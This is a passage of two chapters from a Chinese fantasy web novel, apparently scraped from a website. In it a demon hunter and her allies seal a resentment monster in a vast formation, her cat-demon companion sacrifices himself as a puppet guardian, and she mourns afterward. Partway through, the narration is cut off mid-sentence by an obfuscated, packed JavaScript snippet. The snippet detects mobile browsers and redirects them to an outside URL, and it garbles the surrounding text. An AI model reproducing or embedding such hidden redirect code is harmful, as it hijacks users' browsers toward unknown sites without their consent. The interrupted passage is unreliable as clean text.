但混沌强大,且其他傀儡的数量也不少,结界很快便出现破损。 小弟子们一个个咬着牙,脸色发青,豆大的汗珠滚落,齐心协力,撑着摇摇欲坠的结界。 “胡闹!”周浮生牙缝一咬,在结界之中又设出一个结界,将小弟子们保护在最中心。而后,自己又加固了快被傀儡们撕破的结界。 设立阵法,又兼之设结界,他一时体力不支,吐出一口鲜血。小弟子们在中心的结界之中急的大喊大叫,说将他们放出来,让他们去对付傀儡。周浮生叱道:“吵什么吵,这么点脏东西,我们还解决得了,轮不到你们小不丁出手。” 冷不防,混沌徒然发力,结界寸寸破裂! 眼看傀儡们就要冲进来,毁掉还未结成的阵法,忽从天际之上袭卷而来一股铺天盖地的水流,将一众傀儡淹没其中。并且,厚厚的在他们周围围了一层水盾。 同时,一个冷冷的男声道:“乌合之众。” 段匆勉强抬头,看到一双黑色的靴子,驭着水流踏到地上。 “青、青蛇?” 青蛇挥手操纵一簇水化为刀刃,割去一个傀儡的头颅,淡淡道:“原来你就是天师钟乐。你的水月镜还在我手中,今夜,特来还你。” 另有一个清脆的女子声音欣喜叫道:“段匆!猫妖!我来了!!!我还带来了帮手!” 话音放落,只见一个由清澈水流汇聚而成的花篮从天上缓缓落下,里面装着两个人,一个紫衣,面容英朗,一个身着绿衣,面容可爱,大大的眼睛清澈灵动,扑闪扑闪。 花篮落地,水流散开。 绿衣少女三两步奔至段匆身旁:“是我!我来了!” “你是?” 段匆觉得自己好像并不认识她。 “是我啊!” 李刻青挑眉一笑:“小草精。” “什么?小草精?!”段匆一惊:“你化成人形了?” “是啊,我化成人形了!百草道人告诉我这里有坏蛋,我就来帮忙了,还有她,”小草精指着闻玉,“这是极地的大当家闻玉,她也来帮我们了!” 李刻青道:“百草老儿可还好?” 小草精道:“好!就是蓬莱岛也出现了几个傀儡,不过不碍事,有岛上的妖怪们呢。就是道人他被绊住,没法过来帮忙了!不过还好,有我们!” “不多说了,”闻玉淡淡瞥一眼,“七杀阵?正好,加上我们三人,便可以从八个方向各自结阵,速度可以快很多。” 89. 第86章 阵法自中心一点发出,然后自八方向外延伸。 地面上,金印快速蜿蜒,散发出灼目金光。 金光所过之处,大地剧烈震颤,甚至,由于无法承载这过于强大的法力,而裂开了道道豁口。 沉重的压迫气息笼罩了天门宗,也笼罩了每一个在场的人。 傀儡们固然受到了影响,攻击的动作都慢了下来,但是,结阵的人也并不好受。 古往今来,最快的速度,最强的阵法,而且,以天下为阵,这样的布阵之法简直是在以燃烧生命为代价。阵法每扩大一寸,段匆都觉得自己身上被压上了一座无形的大山,五脏六腑都要被压迫碎裂。 “千年之前,你们已经封印过我一次,千年之后,你们还想再封印我?” 是公冶侯操纵着混沌在说话。 只听混沌用那嘶哑的声音怪笑道:“不可能,不可能,不,可,能——” 制造这只混沌所用的怨气,并没有千年之前那样尖锐而浓烈。但毕竟,公冶侯花了足足一千多年,漫长的时间,漫长的怨,点点滴滴累加起来,怨气十分的浑浊与杂乱,威力还是不容忽视。段匆觉得,它甚至要比那第一只混沌更加厉害。 眼看阵法在不断变大,混沌长啸一声,周身怨气开始向外漫延。 它继续长啸,只见铺天盖地的黑色怨气渐渐变成了红色,与此同时,气温徒然增高,空气中仿佛有炽热火红的岩浆在汩汩流动,很快,青蛇所操纵的保护在几人身外的水盾便被蒸发干了! 青蛇面色微变,一手仍在地面结阵,一手扬起,再次操纵了人间某处的江流湖海,源源不断的水流从天而降,击向混沌,只是,天门宗各处都是这种幽幽的红色怨气,这次的水流还未落下,竟已经被炙烤挥发,消失的无影无踪。 红色的怨气融合在大雾之中,就如一场奢靡而艳丽的血雾。公冶侯的身影静静站在血雾之中,衣袂上下翻飞。 “何为怨?” 黑色的血液,缓缓的从段匆的耳鼻处流出。 她已经撑到极限了,如今的她,早已不复当年,不过一缕残魂,靠着爱人的妖丹,勉强化出一世血肉之躯。 七杀这样强悍的法力,早已不是她所能驾驭。 但段匆偏偏不认输,她要灭了混沌,杀了公冶侯,就算是死,她也必须得先杀了他,这个拾人牙慧的怪物—— 段匆长喝一声,源源不断的法力再次汇聚,从她的掌心传向地面,汇入阵法。 “怨之外在,是人妖二族的仇恨。” 世界好似在慢慢变得遥远,公冶侯淡淡的声音不知从哪个角落传入她的耳中。 “千百年来,人与妖互相仇恨,彼此残杀。非我族类,其心必异,捉妖师使着长剑,妖怪露出獠牙,屠杀一刻又一刻不止,仇恨一代又一代延续,怨气一年又一年积累。” “而怨之根本,则是个人的内心。” “自私,贪婪,嫉妒,背叛,龌龊,伪装,算计,口蜜腹剑,笑里藏刀,心狠手辣,忘恩负义。这世界最开始,本是琉璃般的白雪世界,天地上下,白茫茫一片,没有一丝污秽,是这世间人与妖的心,染脏了它。” “混沌之所以强大,是因为怨气之浓烈。而怨气之所以浓烈,便是你,是你,你们每一个人,每一个妖,每一颗污脏的心。你们之所以不敌混沌,是因为你们不敌你们那颗肮脏龌龊的心。”公冶侯微笑着步步走近。 原来,不敌吗? 段匆恍恍惚惚的抬头,只见不知何时,血雾已经包裹了他们每一个人,地上的金光在快速的被蚕食、缩小。 “你们犯下了这么大的错,但还好,我爱你们。”她听到公冶侯柔情的说。 “所以,我原谅你们的过错。你们弄脏了一切,自己也过的那么凄惨,但,没关系。我会结束你们一切的挣扎与痛苦,一切的卑琐与苟活,我会让你们回到那个本该干净雪白的世界。” 不…… “师姐?小白?师……兄……” 浓浓的血雾包裹住了每一个人的身影,段匆已经看不到他们。绝望与不甘的泪水从她的脸上流下来,她无力的跪倒在地,看着七杀阵的金印越来越小,最后,只剩下中心的一个金点。 公冶侯蹲了下来,堪称温柔的注视着她:“没有你,就没有今日的我。” “究竟为何不随我一起,用我的方式来爱这一切呢?” “爱?呵,”段匆抹去嘴角鲜血,嘲讽的看着他:“不过是爱为名义的恨,你根本,就不懂得爱。” 方才所有的傀儡都被派出与他们为难,可是,却只有楚欢,一直立于公冶侯的身侧没有动。血舞氤氲,却丝毫未能掩盖她身上鲛锦斗篷的剔透光华。 千年了,他还记得她爱穿鲛锦,将她装扮的如此美丽。可是,若他真的爱她,他又怎么可能忍心杀了她?段匆冷笑:“若楚欢有知,她必定恨死了你。” 公冶侯抬头,看向楚欢时眼神渐渐变得温柔,许久之后,他笑了,恍如三月春花盛开:“我不在乎。我只知道,这世间一切都肮脏,只有她,最纯粹。” 待他的傀儡将一切都毁灭,他便会自己再毁掉那些傀儡。但是,不包括楚欢。 她一直都纯白,一直都干净,他会让她陪着他,他们两个人,在那个他所创造的、回到最原本样子的世界中,岁月悠悠,天地与共。 “再见,钟乐。我感激你,也邀请过你,但可惜,你终究不愿做我的同路人。” 公冶侯挥挥手,混沌得到指令,一团又一团的血雾向段匆包裹了过来。她听到公冶侯说,你可以去见你的师兄师姐,还有你的小猫妖了,可是,段匆不甘心,她死也不会甘心:“为什么?你到底为什么要这样做?毁灭一切,就真的是你心中所愿吗?” “那你呢?千年前你苦求和平,最终却得来被剔骨割乳的痛苦,你究竟又为何不换种方式来爱他们?为什么呢?” 她从未与人说过,在白帝城第三场屠杀终结的那个夜晚,平安扣碎,她的法力回归,她承受着前所未有的剧痛与侮辱,抱着猫妖还尚未复活的尸体,在某一个瞬间,她的确,想杀尽所有人。 她恨过吗,她何尝不曾如公冶侯这般疯狂的恨过。 她所做一切都是为了他们,可他们却不信她、如此对待她。 可是,最终,她没有动手。 “为了九龙台下的一碗红烧肉,为了乞丐回报的一饭之恩,人间或许并不好,可是,也绝没有你想的那么坏。”段匆划破掌心,汩汩鲜血流出,“最纯白的雪落在地上,也不可避免会沾上尘污,这世上,本就很难有至善至美、至纯至纯粹的东西存在。但是,我们总是可以努力,做的更好一点点、再好一点点。而不是像你一样,将一切都毁灭!” “血引”之术发动,点点鲜血漂浮到空中,但它与血雾并不相同,血雾朝着他们包裹而来,而这鲜血却是冲破血雾,化为一簇又一簇的箭矢,箭尖都朝向着公冶侯。 公冶侯不在乎的冷冷一笑:“雕虫小技。” 但是,接下来的景象却让他有了几分讶异。只见箭矢越来越多,越来越多,到最后,铺天盖地,俱是闪着红色灵力的箭矢,无一不对准他一个人。一眼望去,竟有几分绚烂壮丽之感。 若是无混沌在此,恐怕,他自己还真的对付不了这样的法术。 “你恐怕,快要流干身上的血了。”公冶侯冷笑道。 “那又如何,我今日定要,杀了你!”段匆咬牙切齿,狠狠扬手,千万支箭矢顿时长啸着朝公冶侯飞去,与此同时,混沌飞至公冶侯身前,那由怨气凝聚而成的双手也高高扬起,抵挡住了箭矢。 段匆咬牙,驱使着血引之术,可是,她还是低估混沌了。即使她几乎快要用尽身上所有鲜血,也还是无法敌过混沌。 渐渐的,那些箭矢的方向竟被混沌扭转过来,全部对准了她! “可惜了,钟乐,再见。”公冶侯微笑。 刹那间箭矢如雨,长啸而来。段匆的瞳孔中映出了一片铺天盖地的红。 她努力过了,没用,她还是要死了。 可是,她不甘心。 她想不懂,为什么,会是这样的结局。 一支箭矢在段匆瞳孔中的倒影越来越大,但,就在这支箭矢离她的眼睛只剩咫尺距离时,它停住了。段匆一怔,只见,一时间,所有的箭矢都停住了。 公冶侯叫道:“混沌!在干什么?” 可是,一切却还是犹如静止一般。这时公冶侯才发现,并不是混沌不再发力,混沌仍牢牢在他的掌握之中,但是—— 七杀阵中心的那个小金点徒然金光大盛,道道金印如疯狂生长的枝桠,飞速从小金点之中向外蔓延。短短片刻,整个天门宗都处在了金光的笼罩之中。 但还未结束,金印仍旧在向远方蔓延。 天下。 以整个天下为阵。 公冶侯面色极难看:“这是怎么回事?” 他盛怒:“我在问你们,这是怎么回事!” 可是,他手下这么多傀儡,没有一个与他作答。除非,他操纵傀儡们说出他想听到的答案,可是,那又有什么意思?此时此刻,他只想要一个能够与他交流、商量的活人。 “砰!” 包裹着其余七人和小弟子们的血雾炸开了! 狂风大作,浓浓的妖气弥散,段匆看到一个青色的身影,衣袂翩飞,青丝飞舞,唇角挂着轻蔑睥睨的笑意:“混沌的确强大,生生困了我这么些时候。不过,”他如画的眉眼间满是妖冶,“七杀阵,我已经研究千余年了。” 说罢,他划破掌心,以血为墨,以指为笔,于大地之上画阵。金光继续疯狂的向远处扩散,大地隆隆作响,狂风大作,飞沙走石。 “阻止他。”公冶侯眼尾浮上一抹血红,于平静之中带着癫狂。 傀儡们一拥而上,混沌也飞身向前,只是,就在这一刻,天空徒然变幻了颜色,刺目的金光照彻了长夜,同时,也将天门宗的血雾照射的无影无踪。 段匆喃喃:“阵……成了。” 阵,已成。 七杀阵,谁是布阵之人,谁就是这阵法之中的主人,在自己的阵法中可以操纵一切。 一枝又一枝杏树的枝桠疯狂蔓延,雪白的杏花朵朵,落在段匆他们身上时只是温柔的花瓣雨,但落在傀儡和公冶侯身上,却凛冽如刀,穿透他们的身体,染透鲜血,变成艳丽的红色。 各地的暴乱,都已经终止。 “混沌,攻阵眼,出阵!”公冶侯阴森的咬着牙。 此阵的阵眼,恰就是最开始的那个小金点,李刻青所站立的位置。苏有容他们都已苏醒,此时见状,纷纷围到李刻青周围,准备共战混沌。 李刻青却微微一笑,摇了摇头,错开他们,看向段匆,道:“你的傀儡之术,还记得么?” 他们好似马上就要赢了,可是,段匆却不可遏制的落下泪来,嘴唇颤抖,只说的出这一个字:“不……” “若是寻常敌人,我们不必守住阵眼,他也没有那样的能力能攻破阵眼。可是,混沌乃千年怨气所聚,且身为傀儡,不灭不死,若不守住阵眼,终有一日,他会破阵而出。” 周浮生哼道:“懂!我们守便是了!” “守一辈子吗?甚至,要不了一辈子,你便会死在漫长的无边际的苦守之中。阵里太黑了,太孤寂了,也太痛苦了。就算,你真的能够忍受一切,但当你死去的那一天,又该如何呢?让他们,继续以生命来填补吗?” 小弟子们闻此,都有些惧怕之色,可是,权衡一番后,仍是用那稚嫩清脆的声音齐声答道:“我等愿一生留守天门宗,守护阵眼,庇佑苍生。” 李刻青却是笑道:“可是,就算你们愿意,你们的法力也不够。同样,大师兄,你们的法力不够。此时能与混沌为战的人,唯有我,”他温柔的注视着段匆:“我以血为祭,强行驱动妖丹、爆发法力,短时间以天下为范围设下七杀阵,这样的法力,已远远超过那瓣妖丹所能承受。” “你的七瓣妖丹在我身上,我还给你、我还给你……”段匆跌跌撞撞的冲至他的面前,泪水滚落下来。 漫天遍野,飞花如雨。公冶侯和混沌都已被缠身其中,拼死抵御,可是,这些花瓣却温柔落在段匆的发梢。 “当年,你在角斗场上救了我,我本来就欠着你的命。更何况,那些妖丹早已化为血肉,就算你想还,也还不了了。”李刻青温柔的轻轻擦去她嘴角的血迹,笑道:“我此时法力强盛至极,超过妖丹所能承载,妖丹已生出道道裂隙,无论如何,都是无法再活下来的。” “但,这也未尝不是我们的机会。” 段匆泪如雨下,她已经知道他要说什么。 “不……”她只能说的出这一个字,她心中那样惶恐,她好像已经知道,结局已不可更改。 “趁着此时,我法力鼎盛,将我做成傀儡,凝固为不灭不死的永恒。” “不要难过,我会永远守着你们。” “不……为什么?到底……是为什么?”段匆已经不是在问李刻青,也不是在问自己,她好像在问头顶浩浩青天。为什么一切的一切,最终的最终,都是永无止境的失去?为什么? “不必了。”周浮生与苏有容、宁芙二人对视一眼,强硬说道:“我们法力虽不敌混沌,但许多个我们加在一起,却也足够抵御一时。我们寿命虽终有尽时,可是,他们,乃我天门宗弟子,他们终会长大,终会如今日的我们一般,担起本该属于他们的责任。” 而人生于世间,不就是要承担属于自己的那一份责任吗?周浮生道:“我们会守住它的,至于你,带我师妹回蓬莱岛,让她无忧度过这一生,她一辈子,已经做的够多了。” 李刻青嘴角缓缓的流下血迹来,脸上苍白,无奈的挑挑眉道:“大师兄,你究竟有没有听我说话?我妖丹已碎,命不久矣,”宁芙打断道:“那么,就让她无忧度过一时片刻!你死在哪里都行,但不能在今日死在这里!” 怨气徒增,是混沌终于来到了这里! 周浮生凝起法力攻向混沌,可是,混沌的怨气轻而易举便包裹了他,而后,混沌的头颅徒然拉长——是它张开了口,它要,吞噬人头。 “段匆,他们根本不是混沌的对手,不要再犹豫了。”猫妖的声音这样说。 段匆闭上眼,她这一生,杀过很多人,都没有过犹豫。 妖帝,宣离,隐雀,周老婆子,何得贵,卖伞男人,还有许许多多说不出姓名、记不得面貌的,挡了她的路的,人,还有妖。 可是,那时是因为不懂得爱,而此时,却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678229|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了不得不背负的爱。 她听到自己说:“可是,这是你的最后一条命了。” 猫妖有九条命,前八条,都已给了她。这一次,他死了,就再也不会复活了。 李刻青却笑了,他的发带随着青丝上下翩飞,恍惚间,段匆想起了最初见到他人形时的模样。那时,唇红齿白的少年郎坐在白雪中的枝桠上,微微歪了头,傲然的盯着她瞧。 如果可以,她多么希望,他一直都是那番无所忧虑的模样。 “天师。” 段匆一时恍惚,好多年,都没有人这样叫过她了。 “天师,”她听到李刻青说,声音温柔而缱绻,“其实,我这一生,都在追随着你的脚步。” “不要悲伤,不要哭。我并不后悔,今时今日,我所作所为,也许已不单单是为了这天下人与妖,甚至也不只是为了你。而是,为了我自己。我追随着你的脚步,直到,我成为了一个和你一样的人。” 灵光闪起,傀儡之术显现。 李刻青眸中浮现欣慰之色,伸出手,轻轻擦去段匆脸上如雨般落下的泪水。 有这样一件事,做它,不为权利富贵,不为名垂青史,不求赞誉,也不怕诋毁。 做它,只是因为觉得不做,便愧对了自己的心。 一阵清风划过段匆的脸颊,仿佛在诉说着最后的告别。她睁开眼,只见李刻青瞳孔中已没有任何情感。段匆听到小草精在止不住的抽噎,她看着他,她的傀儡。 “我要你,守住阵眼,守住混沌,让他永生永世,都无法重见天日。” 傀儡颔首:“领命。” 他没有情感的转身,衣袖划过段匆的掌心,没有半分眷恋。 公冶侯癫狂的大叫起来:“疯子!你们一群疯子!!!” 失去傀儡,身陷七杀,他已不是这么多人的对手了。段匆步步朝他逼近,他不断后退,时而疯狂大叫,时而流泪恳求,最后,他竟说起多年前的往事:“阿乐,还记不记得,娑罗村中,你、我、楚欢三人初遇,楚欢说作乱的是人,我说是鬼,而最终你发现了妖。” “但其实,有人,有鬼,也有妖。你还记不记得,那个人、那个人,她怀了孩子,但是不敢告诉其他人,对了,还有一个恶霸,一直欺负那个女人,我们杀了他、我们杀了他是不是!哈哈哈哈哈哈哈哈!我们杀了恶人,真好!” “还有鬼,真的有鬼的,就是那些孩子父母的魂魄,是吗?我制作的骨风铃被那些魂魄敲响,那些孩子就哭啊哭,一直哭……” “是啊,”段匆轻声说,“其实一开始,就是一只娑罗老树妖。” “我拔掉它时,它说,它诅咒我。我爱的,会离我而去。我所要守护的,会化为飞灰。我信任的,背叛我。我依赖的,抛弃我。它说,今生今世,永生永世,我都将痛失所爱,不得善终。公冶侯,你说,它说的对吗?” 公冶侯眼中闪过狠色:“我杀了你——”他已经知道她不会再放过他了—— 他忽然定住了,怔怔的望着穿入他身体的如飞刀的漫天花瓣。 段匆哈哈大笑起来,可是,那笑混杂着滚滚的泪珠,怎么看怎么都不像是大仇得报的快意:“公冶侯,你莫不是忘了,你如今在七杀阵中。” 公冶侯的嘴角流出鲜血,他默了片刻,忽地,同样大笑起来:“哈哈哈哈哈哈哈哈!哈哈哈哈哈哈哈哈!钟乐啊钟乐,原来你还是没有赢,为了七杀阵成,你亲手将爱你之人做成了傀儡,哈哈哈哈哈哈哈,娑罗树妖果真说的没错,你这辈子,都将痛失所爱,不得善终,哈哈哈哈哈哈哈!哈哈哈哈哈哈哈!” 他简直如一个疯子一般。可是,段匆却并不气恼,嘲笑的轻声说:“那你呢?你口口声声,说你爱这人世,可是此时此地,你得到爱了吗?有人爱你吗?” 公冶侯一怔,缓缓转头,望向身旁的楚欢。 他朝她伸出手:“我好疼。” 楚欢面无表情。 “我,好疼。”公冶侯说。 “……”没有任何回应。 公冶侯微笑起来,掌心灵力闪现。 “我,好疼。” “疼?哪里疼?”这次楚欢蓦地鲜活起来,一脸焦急的打量着公冶侯,“都多大的人了,怎么这么不小心,哎,到底哪儿,我看看啊……” 公冶侯满意的微笑起来。可是笑着笑着,他的神情却慢慢的空洞起来。 白帝城第三场屠杀当日,漫天都飞舞着灵力汇聚的流箭,可是,那时,却有一个娇小的影子张开手臂,无畏的挡在他的面前,替他挡住了那“致命”的一击。 那是他的阵法,“致命”不过是他的伪装。可是,她不知道,她以为他会受伤。 他本来有机会帮她止血,帮她包扎,帮她疗愈伤口,让她活下来。 可是,他没有。 他只是抱着她,看着殷红的鲜血一丝一丝流逝。 那时,或许他自己也说不清,他到底在想些什么。 白帝城纷纷攘攘,而他很安静的坐着,很耐心的等待着,后来,血流滴滴答答的声音开始变缓,直至消失,他低下头,本以为楚欢已经死去,可是,却直勾勾的对上那双清澈的双眸。 他的瞳孔猛地缩小,嘴唇颤抖。而怀中的楚欢,脸色苍白,神色中是浓浓的化不开的悲伤。 他听到她说:“原来……是你。” 她说:“你为什么,要这么做?” 他不回答。 楚欢的血已经接近流干,回光返照,她用最后一口气说:“求你了,不要、不要……要……爱他们。” 你不会死的。你会成为永恒,永恒的留在我身边。 我们想要做的,是一样的。爱他们,我与你一样的爱他们。 千年孤寂的岁月,她一直陪在他身边。他们走遍天下每一个角落,收集怨气,制作傀儡,他们吃饭、饮茶、听说书、逛市集,他精心操纵她,给她穿美丽的鲛锦,让她和从前一模一样,他一直觉得,她没有离开过他。 可是,终究不是从前。她看到他多吃了饭,再也不会有那种自发的欣慰和开心。 “你说,我的爱,难道真的错了吗?” 他伸出手,想触摸楚欢的脸颊。可是,指尖定格在了空中。 大家将段匆的那把黑剑传递了过来。许是知道他二人仇怨,无人插手,唯有段匆一人立于他面前,泪珠滚滚间手起剑落—— 他的自以为是的爱,害了重明,害了天门宗,害了她师父,害了猫妖——他的以恨为名的爱—— 楚欢脸上溅落一串血珠,可是,她仍旧关怀的询问着:“你哪儿疼啊?是不是这里,都这么大的人了,怎么还不会照顾好自己啊……” “铛”的一声,手中参商落地,段匆好似失去所有力气一般,躺在了冰凉的地面上。 温柔的杏花瓣缓缓飘落在她身上,一阵温暖的光芒洒落下来,她这才发现,原来,天已经亮了。 七杀阵在缓缓的沉入地底。 明媚阳光中,段匆伸出手,想要努力的去抓住什么。 师父,楚欢,还有……小白。 可是,他们都没有再看她一眼。 七杀阵彻底沉入地底,混沌被永久的封印于天门宗之下。 旭日初升,天下升平。 90. 第87章 “她还是不吃?” 宁芙没好气:“不吃,饿死算了。” “你!”小草精气鼓鼓的挥舞起拳头,“你这个坏女人,怎么能这么说!” “好了,都别吵了。”苏有容颇有些头疼的分开二人,对宁芙道:“许是这些不合师妹的口味,阿芙便去再做些新的吧。”宁芙冷哼,本欲拒绝,但苏有容笑道:“谁叫我们之间,就师妹你厨艺最佳呢?” “……” 宁芙又去了厨房做了份新的,这次是炖的浓白飘香的鱼汤和雪白松软的大馒头。一行人端着饭菜又浩浩荡荡来到了段匆房门前,敲敲门,无人应答。 于是苏有容直接推门而入:“师妹,你已经近七日没有吃饭了,多少……” 她的声音轻下来。 段匆躺在床榻之上,以被子蒙着头,好像是睡着了。 可是,宁芙却十分眼尖的看了出来:“没睡,她装呢。” 她将鱼汤和馒头放在桌上,走到床前对段匆说:“出来不出来,再不出来我掀被子了!” 她忽然愣住了。 段匆自己掀开了被子,可是,一双眼睛却失神的望向虚空,眸子黯淡,无一丝光华。 “你没事吧?你、你……”宁芙慌了,段匆就好像被吸食去魂魄一般。她忙抓住段匆的胳膊,用力晃动:“哎,哎哎哎,醒醒啊!醒醒!” 段匆眨了眨眼,好像是回过神来了。 看了他们一眼,她低下头,很疲惫的说:“我好累。” 累?她若再不吃,恐怕就不单单只是累这么简单了!宁芙没好气的将她拉起来,拉成半靠在床榻的姿势,将那碗鱼汤往她手中一塞,馒头往鱼汤上一放:“吃!” 苏有容也劝道:“师妹,我们知你现在心情不好,但就算想哭,也要吃饱了才有力气哭啊。” 段匆默默点点头,夹起馒头,大大的咬了一口。 苏有容方欣慰几分,可是,很快,她便怔住了。 只见大颗大颗的眼泪,如断了线的珠子,连绵不断的落在鱼汤之中。 “师妹……” “师姐,”段匆嗓音沙哑,“你说,我真的做对了吗?” 苏有容一时一怔。 小草精听了这话,气哼哼的骂道:“都是公冶侯那个坏蛋,他才会、才会……反正,都怪那个坏蛋,和你有什么关系啊!”说着说着,她大大的眼睛中出现了泪花,忙背过身,悄悄抹去了。 “可是,他的一切,都是从我而来,若无我,他也不可能有制造混沌的能力,师父,小白,他们,也许就不会死在这里。” “况且,就算没有他。” 安神香燃出的青烟袅袅升起,段匆透过窗户,越过天门宗威严的亭台楼阁,望向远处绵延起伏的青山与亘古不变的苍天。她轻声说:“这几天来,我一直在想。” “当年我爹娘被妖帝所杀,白帝城满城百姓也被妖帝所杀,我恨透了妖怪,苦修十数年,只为有朝一日,能够杀尽这天下所有的妖。一开始,我也的确是这样做的,我像当年的妖帝一样,屠了白帝城。我的剑终结过无数妖的性命,那么多、那么多,多到我早已数不清,他们跪在我脚下,求饶,哀告,可是我却连眼睛都不曾眨一下。我从未迟疑,从未怜悯,也从未后悔,因为当时我觉得,我做的,是一件正确的事。” “可是,后来,在杀了那么多妖、也失去了很多对我很重要的妖之后,我发现,我本来做的那件事,好像并不是最正确的。我发现了一件,比杀尽天下妖更正确的事。” “于是,我开始去做这件更正确的事。这次我同样没有迟疑,我想促进人妖二族的和平,我不遗余力的去做,期待着自己有朝一日能够成功。相比从前,我变得慈悲了,可是,我的慈悲却好像成为了另一种残忍。我以为我拯救了许多无辜的妖的性命,可是,若我没有拯救他们,没有阻止衡阳,恐怕人妖二族的仇恨自那时就已经终结。而我却因为那样的慈悲,让这仇恨白白延续了千年。” 宁芙一脸后悔,这番话,她当时也这么对段匆说过。她苦不堪言:“当时我不过是随口说说,”段匆却摇摇头。 若宁芙不说,这样的事实就不存在了吗。 只不过是,回避罢了。 “若仇恨没有延续,就不会有这一世孟天师与狼妖的反目,就不会有狐妖失去挚爱之人,从而报复师姐一家,甚至祸乱宫闱,就不会有蜃妖凄惨的结局,就不会有青白二蛇与法海的争斗……很多很多事,都不会再发生。” “每一个阶段里,我为了自己所认为的正确的事,一意孤行,不知悔改。可是,每一个阶段里,为了那件我自以为正确的事,却有更多的人受到了伤害。所以你说,我做的,真的是一件正确的事吗?我认为的正确,与这世间本该有的正确,真的是一样的吗?” “如果最开始,我没有离开蓬莱岛,是不是,一切就不会是今日这般?” 泪水混着鱼汤,咽入肺腑,当真是世上再咸涩不过的滋味了。 “我这一辈子,忙忙碌碌,可是,却好像什么都没有做成。” 想灭妖,灭尽了吗。 没有。 想和平,和平了吗。 没有。 那么,再小一点,至少,留住自己所爱之人。 可是,也没有。 庸庸碌碌,奔奔走走,却原来,都是一场空。 “谁说你做错了?你什么都没有做成了?”宁芙看段匆一脸死样,生怕她一个想不开就自尽什么的。当初那番话伤人的话,毕竟是自己说的。 “若是没有你,那就没有了当年那个能斩杀妖帝的人,群妖占据白帝城,肆意屠杀,奴役人族。以妖帝之冷血可怖,他对人的手段,绝对比衡阳对待妖怪时更残忍。难道那样的结果,就是好的吗?” “当年和平协议失败,白帝城第三场屠杀,那些活下来的人迁怒于你,可其实,他们却忘了,他们能够活着站在你面前与你说话,甚至对你用刑,是因为当年是你杀了妖帝、制服了群妖。他们的一切,最开始,都是你赐给他们的,他们踩着你的成果,又凭什么抱怨你的失败?” 宁芙说的理直气壮,自从当时她与周浮生之事被段匆发现,她彻底卸下温柔可亲的面具。那时她就决定,不管发生什么事,都不该憋在心里委屈自己。不管发生什么事,率先都该抱怨别人,而非埋怨自己! “更何况,或许没有你,就不会有混沌,可如果没有你,也就不会有今日拯救了天下苍生的猫妖。或许你对这世间产生过坏的影响,可是,却又更多的好的影响也是由你而产生。若要我说,从始至终,你做的都是对的。” 段匆却有些茫然的轻声问:“可如果,我做对了的话,那为什么,我却一直在失去?” 宁芙怔住了。 一时间,她望向窗外,但见黄昏已至,漫天云霞,灿若春花。 她沉默的看了许久,最后只能有些沮丧的说道:“我不知道。” 反倒是苏有容,坐在床榻边,伸出手,轻轻摸了摸段匆的头发,苦笑道:“师妹,这就是,人的一生啊。” 天地不仁,以万物为刍狗。做了正确的事,未必能得到嘉奖,做了错误的事,也未必会受到惩罚。本分生活的人,却有无妄之灾从天而降。投机取巧之人,却反而反手就抓得大把的金银。究竟什么是对,什么才是错,说实话,这天地自己,都分得清吗? 当晚,青蛇将那面水月镜还给了段匆。 千年了,段匆将尘缘与水月一同放在掌心之中。青蛇道:“千年前,我还是一只小蛇妖时,衡阳打压妖怪、手段强硬,是因你主张人妖和平,我才侥幸从他手中活了下来。” 怪不得此次混沌作乱,他会来天门宗帮助他们。 段匆笑了笑,道:“多谢。” 青蛇道:“人妖二族,仇怨已久,不是一朝一夕、也不是你一人之力就能化解。更何况这其中,又牵扯了多少人、多少妖的各自的内心,心,恐怕是这世上最为复杂的东西,缠缠绕绕,就如一团纠扯不清的毛线。” 段匆点点头,道:“我知道。” 她问:“白蛇与许仙现今如何了?” 青蛇笑了一笑,淡淡道:“当初,我们都以为他二人会顺从水月镜中的命运。但未想到,他二人都不愿屈服于那镜中命运,他们,在各自反抗。” 段匆摇了摇头,叹息一声:“恐怕,这样的反抗是不会有用的。” 青蛇默了一瞬,道:“你真的信命了。” 段匆摩挲着水月镜背面镂刻的花纹。 何为命? 当年,她还是钟乐时,她不信这个东西。她信的是自己。 千千万万条路,千千万万个选择,她想往东,那便是东,她想往西,那便是西,她若后退,那便后退,她若前进,那便前进。一念之间,明明是自己紧紧的掌控着命,又怎么会是所谓的命操纵着自己? 但如今,段匆方才知晓。 千千万万条路,千千万万个选择,但,只要她仍是她,那么,于千千万万个选择之中,无论何时,她仍旧会选择,那唯一的一个。 这就是所谓的,命。 - 岁月流逝,渐渐的,段匆开朗起来了。 她开始和以前一样,每日辛勤练剑,然后大吃两碗饭,一抹嘴,舒舒服服的回到自己的房间中,点着最初的那盏杏花小灯看话本子。 有时候,她也会与宁芙斗嘴。不过,当初斗嘴时,二人都有十足的愤恨之意,但此时,二人你来我往,吵吵嚷嚷,却没有当初那么夹枪带棒了。斗嘴更像是一种类似于习惯的东西,若是哪天不吵了,反而觉得,少做了一件事。 不过如今,周浮生可谓完完全全倒向宁芙的阵营了。有时段匆在后山练剑,看到他二人在某处密林间幽会,便会一脸的无可奈何。 果然,不过多时,她便会听到周浮生一句:“段师妹啊,去别处练吧!” 段匆幽幽的叹一口长气:“你们就不能去别处约会吗?” 宁芙幽幽:“我们第一次约会便是在树林之中,习惯了。” “……”这对狗男女! 段匆咬牙切齿的走开。 不过,说实话,这对狗男女,将天门宗管理的挺好的。重明不在了,师父不在了,他们挑起了前辈们留下的担子,看守七杀阵,培养小弟子,的确,至今一直如履薄冰、从未有过纰漏。 时至今日,还有许多人,连那夜第二只混沌出现在世上的事都不知道。 甚至,因为傀儡们很快就被解决,所以有些人自始至终都未受到傀儡们的侵犯。他们只是平安的睡了一夜觉,然后平安的醒来,而这,不正该是天下第一大派所应该做的吗? 段匆拎着剑从后山返回,回到卧房,她打了热水,沐浴完,换好衣服,推开屏风左右看了一眼,这才发现,她的猫儿不见了。 “小白?” “小白?” 